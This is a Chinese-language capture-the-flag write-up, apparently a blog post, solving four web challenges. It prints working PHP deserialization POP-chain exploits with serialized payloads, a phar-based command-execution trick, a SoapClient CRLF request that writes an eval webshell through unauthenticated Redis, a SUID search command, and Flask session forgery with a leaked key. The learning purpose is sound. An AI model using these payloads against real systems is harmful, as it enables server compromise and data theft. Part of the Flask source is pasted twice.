EasyPOP(pop链的构造)
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
Ctfer: Duration of practice: Two and a half years
2.找魔术方法(因为我初学记不住),出口函数和入口函数
__construct //初始化
__invoke //将对象调用为函数时触发
__wakeup //反序列化之前
__toString //碰到echo等,将一个对象转化成字符串
__sleep //序列化的时候用
__get //当调用一个未定义的属性时
__call //调用不可访问的方法
尝试一下逆推,大概率利用call_user_func函数进行命令执行,在__invoke里,invoke触发条件在sorry类__get方法的name变量,__get的触发条件调用未定义属性。看看起点,一般是__wakeup __destruct __toString ,__wakeup这里一看就要绕过,__toString调用show,show里面也没啥用。看__destruct(里面有个调用secret_code类中secret()函数,这个函数调用hint()函数,应该在hint.php中,没啥用),然后看到上面有echo $this->hint;echo可以触发show里的__toString方法,刚好hint属性可控,__toString里调用$this->ctf->show();现在就剩__get和__call没有触发了,这里刚好可以触发__get.根据上面的来看,链子就通了。
sorry.__destruct()->show.__toString()->secret_code.show()->sorry.__get()
->fine.__invoke
接下来写exp
<?php
class fine
{
private $cmd="system";
private $content='cat /flag';
}
class show
{
public $ctf;
public $time;
}
class sorry
{
private $name;
private $password;
public $hint ;
public $key;
}
class secret_code
{
public $code;
}
$a=new sorry();
$b=new fine();
$c=new show();
$d=new secret_code();
$a->hint=$c;
$c->ctf=$d;
$d->code=new sorry();
$d->code->key=$b;
echo urlencode(serialize($a));
?>
这里注意一下要绕过fine 类的 __wakeup,将属性个数改成大于实际个数就行。
看了个师傅的wp,知道了感觉比较方便的写法,就是写__construct()构造函数
<?php
class fine
{
private $cmd='system';
private $content='cat /flag';
}
class show
{
public $ctf;
public $time;
public function __construct($ctf)
{
$this->ctf = $ctf;
}
}
class sorry
{
private $name;
private $password;
public $hint;
public $key;
public function __construct($hint,$key)
{
$this->hint=$hint;
$this->key=$key;
}
}
class secret_code
{
public $code;
public function __construct($code)
{
$this->code=$code;
}
}
$a = new sorry(new show(new secret_code(new sorry(1,new fine()))),1);
echo (serialize($a));
?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}
hade_waibo(phar反序列化+绕过)
进去是一个登录界面,随便输入都会登录成功。看到一个文件上传点,简单尝试了文件上传绕过,无果。还有一个销毁证据,点了不知道有什么用。重点是cancan need那里,显示文件源码的地方。抓包后可以看到源码以base64的形式显示出来了。
非预期解一(最简单)
上面那个尝试目录穿越+任意文件读取
非预期解(巧妙)
按照上面方法可得下面的源码
#index.php部分代码
<?php
error_reporting(0);
session_start();
include 'class.php';
if(isset($_POST['username']) && $_POST['username']!=''){
#修复了登录还需要passwd的漏洞
$user = new User($_POST['username']);
}
if($_SESSION['isLogin']){
die("<script>alert('Login success!');location.href='file.php'</script>");
}else{
die('
<form action="index.php" method="post">
<div class="ui input">
<input type="text" name="username" placeholder="Give me uname" maxlength="6">
</div>
<form>');
}
看到包含了一个class.php,按照上面的方法读取源码。
#class.php部分代码
<?php
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}
#更新了一个恶意又有趣的Test类
class Test
{
public $value;
public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}
}
可以看到Test类中有一个backdoor函数,里面有system命令执行函数。但是有正则,过滤了字母数字和一些符号。并且 system
无法执行异或、取反、或,且,反序列化后会先执行 __wakeup
再执行 backdoor
,这边的 __wakeup
由于php版本问题无法常规绕过。漏洞影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10
当时做题卡这里了,不知道怎么进行下一步了。看了师傅们的wp,一个非预期解,让value指向一个变量的地址,这样它的值就无法改变了。
在保证 value
不会被改变的情况下,怎么绕过 preg_match
执行 shell
呢?这边又有一个小知识点:**在 linux 中,. ./*
会把当前目录下的所有文件当作 sh 文件执行。**本地测试结果如下
那么如何令value的值等于. ./*,我们可以看到User类中的$username变量可控,username变量就等于我们传入的名字。构造的时候只需要将value的值指向username的地址即可。
<?php
class User{
public $username;
}
class Test
{
public $value;
}
$user=new User();
$test=new Test();
$user->username=new Test();
$user->test=$test;
$test->value=&$user->username;
echo serialize($user);
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($user);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();//签名自动计算
?>
这里为什么User类要新增一个test属性去实例化Test类?这个师傅的博客下面的评论里解释了(我也不是很懂):https://blog.youkuaiyun.com/trytowritecode/article/details/127513176
我自己也本地测试了一下,没有加下面这行代码运行结果如下
$user->test=$test;
加了之后运行结果如下
可以推测新加的属性是为了让value的属性被引用进来。
将生成的phar文件后缀改成jpg,直接上传,然后通过phar伪协议访问该文件
可以看到根目录直接显示出来了,接下来直接访问flag文件
预期解
太菜了没有复现成功,感兴趣的师傅可以参考这篇文章:https://blog.youkuaiyun.com/shinygod/article/details/127550670
EasyLove(原生类+redis未授权访问+suid提权)
这题提示为:Redis是世界上最好的数据库!
打开容器,读代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;
public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
$this->wllm = $wllm;
$this->arsenetang = $arsenetang;
$this->l61q4cheng = $l61q4cheng;
$this->love = $love;
}
public function newnewnew(){
$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
}
public function flag(){
$this->love->getflag();
}
public function __destruct(){
$this->newnewnew();
$this->flag();
}
}
class hint{
public $hint;
public function __destruct(){
echo file_get_contents($this-> hint.'hint.php');
}
}
$hello = $_GET['hello'];
$world = unserialize($hello);
发现一个hint.php,写个序列化字符串读一下
<?php
class hint{
public $hint="php://filter/read=convert.base64-encode/resource=hint.php";
}
$a = new hint();
echo serialize($a);
?>
读不出来,开摆~复现的时候发现要用绝对路径
这里重新构造一下
<?php
class hint{
public $hint="php://filter/read=convert.base64-encode/resource=/var/www/html/";
}
$a = new hint();
echo serialize($a);
?>
将源码进行base64解密后如下
<?php
$hint = "My favorite database is Redis and My favorite day is 20220311";
?>
redis还没学,呜呜呜,只能复现到这里了。下面只是跟着操作了一遍,不太理解原理,原文大佬博客:https://blog.youkuaiyun.com/shinygod/article/details/127550670
通过 CRLF 控制请求头,再结合 SoapClient 发起请求写入 shell。
想了解 redis 未经授权访问的移步:https://blog.youkuaiyun.com/shinygod/article/details/127034013
第 360 题。
SoapClient 原生类的使用这边就贴一下 Y4 师傅的解释。
综述:
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
----------------------------------------
原文链接:https://blog.youkuaiyun.com/solitudi/article/details/113588692
poc
<?php
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;
public function __construct(){
$this->wllm = 'SoapClient';
$this->l61q4cheng = array(
'user_agent'=>"\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename cmd.php\r\nSAVE",
'uri'=>'bbb',
'location'=>'http://127.0.0.1:6379'
);
}
}
echo urlencode(serialize(new swpu()));
传入参数之后,可以直接连蚁剑或者post直接传参,但是查看不了。
可以看到读取不了,看一下env,发现是testflag,也没什么用。
最后用find suid提权
SUID提权:find / -perm -u=s -type f 2>/dev/null > ./1.txt 查看可利用的函数
发现date date -f /hereisflag/flllll111aaagg 可拿flag
BlogSystem
复现文章参考于出题人笔记:https://pysnow.cn/archives/566/
考点:
- 信息泄露
- flask伪造session
- 目录穿越绕过
- 代码审计
- Yaml反序列化加载恶意模块
- 引入恶意模块
首先有一个登录界面,需要注册,登录,尝试注册admin账号时提示该账号已被使用,随便注册一个admin1的账号进行登录,发现多了几个路由。思考是不是要进行session伪造登录admin的账号。
刚好我知道flask可以进行session伪造,但没实操过。参考文章:https://zhuanlan.zhihu.com/p/394862431
得知需要密钥SECRET_KEY,这题是在flask基础总结里面暴露了密钥。
使用脚本来解密,能正常解出,代表密钥没有问题。脚本地址:https://github.com/noraj/flask-session-cookie-manager
根据上面的格式构造出admin的cookie
将自己的cookie替换成生成的cookie,发现多了一个download的路由
一般ctf中download存在任意文件读取与目录穿越漏洞,可以尝试,发现存在waf,只需要使用.//./
代替../
绕过即可完成目录穿越,首先下载app.py文件
from flask import *
import config
app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *
app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')
@app.context_processor
def login_statue():
username = session.get('username')
if username:
try:
user = User.query.filter(User.username == username).first()
if user:
return {"username": username, 'name': user.name, 'password': user.password}
except Exception as e:
return e
return {}
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', 80)
session.get('username')
if username:
try:
user = User.query.filter(User.username == username).first()
if user:
return {"username": username, 'name': user.name, 'password': user.password}
except Exception as e:
return e
return {}
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', 80)
后面真看不懂了,我太菜了呜呜呜,Yaml反序列化绕过等后面学习了相关知识点再补充吧~